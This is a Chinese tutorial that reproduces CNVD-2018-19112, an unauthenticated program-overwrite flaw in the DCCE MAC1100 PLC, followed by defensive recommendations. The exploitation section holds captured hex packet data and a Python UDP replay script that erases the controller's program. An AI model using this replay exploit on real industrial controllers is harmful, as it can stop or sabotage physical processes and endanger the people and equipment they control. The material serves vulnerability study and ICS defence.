从0~1学习PLC漏洞分析
字数 1743 2025-08-15 21:30:55

PLC漏洞分析与复现:DCCE MAC1100任意程序覆盖漏洞研究

一、PLC基础概念

1.1 PLC定义与功能

PLC(可编程逻辑控制器)是一种专为工业环境设计的数字运算电子系统,具有以下核心功能:

  • 内部存储执行逻辑运算、顺序控制、定时、计数和算术运算等操作的指令
  • 通过数字式和模拟式的输入输出控制机械或生产过程
  • 采用可编程存储器,易于工业控制系统集成和功能扩展

1.2 PLC编程语言

PLC支持五种主要编程语言:

  1. 梯形图语言(Ladder Diagram)
  2. 指令表语言(Instruction List)
  3. 功能模块图语言(Function Block Diagram)
  4. 顺序功能流程图语言(Sequential Function Chart)
  5. 结构文本化语言(Structured Text)

二、漏洞背景

2.1 漏洞概述

  • 漏洞编号:CNVD-2018-19112
  • 影响产品:大连计控(DCCE) MAC1100 PLC
  • 漏洞类型:任意程序覆盖漏洞
  • 漏洞成因:PLC下载程序时未验证相关权限
  • 攻击方式:攻击者可通过远程下载程序的数据包覆盖PLC中的任意程序

三、漏洞复现环境准备

3.1 硬件设备

  • DCCE MAC1100 PLC设备

3.2 软件工具

  1. PLC编程软件

    • PLC_Config(DCCE官方编程软件)
    • STEP-7 MicroWIN V4.0 SP9(用于格式转换)
  2. 网络工具

    • Wireshark(抓包分析)
    • 通讯猫调试助手(数据包重放)
  3. 示例工程

    • S7-200剪板机控制工程示例(.mwp格式)

3.3 下载链接

  • STEP-7 MicroWIN V4.0 SP9:
    链接: https://pan.baidu.com/s/1eaeIxyT3Ak1gSxCwYCsaGg
    密码: w41o
    
  • 通讯猫调试助手:
    链接: https://pan.baidu.com/s/1vAUXJZl-gpdEm8n5ga91gw
    密码: 28ks
    

四、漏洞复现详细步骤

4.1 第一阶段:获取空程序数据包

  1. 使用PLC_Config创建一个空PLC工程
  2. 将空工程下载到MAC1100 PLC
  3. 使用Wireshark抓取下载过程中的网络流量
  4. 提取数据包的Data段,转换为Hex Stream格式

4.2 第二阶段:导入正常工程

  1. 下载S7-200剪板机控制工程示例(.mwp)
  2. 使用STEP-7 MicroWIN将.mwp转换为.awl格式
  3. 通过PLC_Config将转换后的工程下载到PLC

4.3 第三阶段:漏洞利用

  1. 分析第一阶段获取的Hex Stream数据:
    0d008248120023006b00f82a0100000000000d0066a312002400f82af82a0200000000000d00658511002500f82a6b0081000000000d00167a140026006b00fb2a01000000030000000d006b0914002700fb2a26270000000000005e0000ec3b0a1914001c42b76bcb08004500008c03e7000080110000c0a801c8c0a801b5c79b2af8007885570d002f8f700028002627252700005e000000110049000000000000000000000000000000000000200000002900000049000000000000004900000000000000490000000000000000010e004d41494e5f28d6f7b3ccd0f2290001011300cae4c8ebb5e7c1f7a1a2b5e7d1b9cabec0fd00
    
  2. 使用通讯猫调试助手逐条重放数据包
  3. 或使用Python脚本自动化重放:
#!/usr/bin/env python
#encoding:utf-8
import socket,binascii,time

sendsocket = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
ip = "192.168.1.181"
port = 11000
sendsocket.connect((ip,port))

sendsocket.send(binascii.unhexlify('0d008248120023006b00f82a010000000000'))
time.sleep(2)
sendsocket.send(binascii.unhexlify('0d0066a312002400f82af82a020000000000'))
time.sleep(2)
sendsocket.send(binascii.unhexlify('0d00658511002500f82a6b008100000000'))
time.sleep(2)
sendsocket.send(binascii.unhexlify('0d00167a140026006b00fb2a0100000003000000'))
time.sleep(2)
sendsocket.send(binascii.unhexlify('0d006b0914002700fb2a26270000000000005e00'))
time.sleep(2)
sendsocket.send(binascii.unhexlify('00ec3b0a1914001c42b76bcb08004500008c03e7000080110000c0a801c8c0a801b5c79b2af8007885570d002f8f700028002627252700005e000000110049000000000000000000000000000000000000200000002900000049000000000000004900000000000000490000000000000000010e004d41494e5f28d6f7b3ccd0f2290001011300cae4c8ebb5e7c1f7a1a2b5e7d1b9cabec0fd00'))

print "PLC工程已重置!"

4.4 验证结果

重新上载PLC工程,确认之前下载的剪板机控制工程已被重置为空程序。

五、技术原理分析

5.1 漏洞本质

该漏洞属于权限验证缺失漏洞,具体表现为:

  • PLC在接收程序下载请求时未验证操作者身份和权限
  • 攻击者可以伪造合法的下载数据包
  • PLC无法区分合法下载和恶意覆盖请求

5.2 数据包结构关键点

从抓包分析可见,PLC程序下载流程包含以下关键阶段:

  1. 将PLC控制器切换为STOP状态
  2. 清空PLC原有工程
  3. 写入新下载的工程
  4. 重启PLC CPU为RUN状态
  5. 将编程软件切换为监视模式

5.3 MAIN函数标识

数据包中包含"MAIN"关键字,这是PLC工程的入口函数(类似于C语言的主函数),是程序下载的关键标识。

六、防护建议

6.1 网络隔离措施

  1. 物理隔离:将PLC网络与办公网络、互联网完全隔离
  2. 逻辑隔离:使用防火墙、VPN等设备严格控制PLC网络访问
  3. 最小化暴露:禁止PLC设备直接暴露在互联网中

6.2 设备安全配置

  1. 启用PLC的访问控制功能(如密码保护)
  2. 限制可连接PLC的IP地址范围
  3. 定期更新PLC固件,修补已知漏洞

6.3 监控与审计

  1. 部署工业网络流量监控系统
  2. 记录所有PLC程序修改操作
  3. 定期检查PLC程序完整性

七、扩展思考

7.1 同类漏洞普遍性

该类型漏洞(非授权访问)在工业控制设备中普遍存在,不仅限于DCCE产品,西门子、施耐德等主流品牌也存在类似问题。

7.2 工控协议安全性

当前主流工控协议(如Modbus、PROFIBUS等)在设计初期多未充分考虑安全性,普遍存在认证缺失、加密不足等问题。

7.3 防御深度策略

建议采用纵深防御策略,结合网络层、设备层、应用层的多重防护措施,构建全面的工业控制系统安全防护体系。

PLC漏洞分析与复现:DCCE MAC1100任意程序覆盖漏洞研究 一、PLC基础概念 1.1 PLC定义与功能 PLC(可编程逻辑控制器)是一种专为工业环境设计的数字运算电子系统,具有以下核心功能: 内部存储执行逻辑运算、顺序控制、定时、计数和算术运算等操作的指令 通过数字式和模拟式的输入输出控制机械或生产过程 采用可编程存储器,易于工业控制系统集成和功能扩展 1.2 PLC编程语言 PLC支持五种主要编程语言: 梯形图语言(Ladder Diagram) 指令表语言(Instruction List) 功能模块图语言(Function Block Diagram) 顺序功能流程图语言(Sequential Function Chart) 结构文本化语言(Structured Text) 二、漏洞背景 2.1 漏洞概述 漏洞编号:CNVD-2018-19112 影响产品:大连计控(DCCE) MAC1100 PLC 漏洞类型:任意程序覆盖漏洞 漏洞成因:PLC下载程序时未验证相关权限 攻击方式:攻击者可通过远程下载程序的数据包覆盖PLC中的任意程序 三、漏洞复现环境准备 3.1 硬件设备 DCCE MAC1100 PLC设备 3.2 软件工具 PLC编程软件 : PLC_ Config(DCCE官方编程软件) STEP-7 MicroWIN V4.0 SP9(用于格式转换) 网络工具 : Wireshark(抓包分析) 通讯猫调试助手(数据包重放) 示例工程 : S7-200剪板机控制工程示例(.mwp格式) 3.3 下载链接 STEP-7 MicroWIN V4.0 SP9: 通讯猫调试助手: 四、漏洞复现详细步骤 4.1 第一阶段:获取空程序数据包 使用PLC_ Config创建一个空PLC工程 将空工程下载到MAC1100 PLC 使用Wireshark抓取下载过程中的网络流量 提取数据包的Data段,转换为Hex Stream格式 4.2 第二阶段:导入正常工程 下载S7-200剪板机控制工程示例(.mwp) 使用STEP-7 MicroWIN将.mwp转换为.awl格式 通过PLC_ Config将转换后的工程下载到PLC 4.3 第三阶段:漏洞利用 分析第一阶段获取的Hex Stream数据: 使用通讯猫调试助手逐条重放数据包 或使用Python脚本自动化重放: 4.4 验证结果 重新上载PLC工程,确认之前下载的剪板机控制工程已被重置为空程序。 五、技术原理分析 5.1 漏洞本质 该漏洞属于 权限验证缺失漏洞 ,具体表现为: PLC在接收程序下载请求时未验证操作者身份和权限 攻击者可以伪造合法的下载数据包 PLC无法区分合法下载和恶意覆盖请求 5.2 数据包结构关键点 从抓包分析可见,PLC程序下载流程包含以下关键阶段: 将PLC控制器切换为STOP状态 清空PLC原有工程 写入新下载的工程 重启PLC CPU为RUN状态 将编程软件切换为监视模式 5.3 MAIN函数标识 数据包中包含"MAIN"关键字,这是PLC工程的入口函数(类似于C语言的主函数),是程序下载的关键标识。 六、防护建议 6.1 网络隔离措施 物理隔离 :将PLC网络与办公网络、互联网完全隔离 逻辑隔离 :使用防火墙、VPN等设备严格控制PLC网络访问 最小化暴露 :禁止PLC设备直接暴露在互联网中 6.2 设备安全配置 启用PLC的访问控制功能(如密码保护) 限制可连接PLC的IP地址范围 定期更新PLC固件,修补已知漏洞 6.3 监控与审计 部署工业网络流量监控系统 记录所有PLC程序修改操作 定期检查PLC程序完整性 七、扩展思考 7.1 同类漏洞普遍性 该类型漏洞(非授权访问)在工业控制设备中普遍存在,不仅限于DCCE产品,西门子、施耐德等主流品牌也存在类似问题。 7.2 工控协议安全性 当前主流工控协议(如Modbus、PROFIBUS等)在设计初期多未充分考虑安全性,普遍存在认证缺失、加密不足等问题。 7.3 防御深度策略 建议采用纵深防御策略,结合网络层、设备层、应用层的多重防护措施,构建全面的工业控制系统安全防护体系。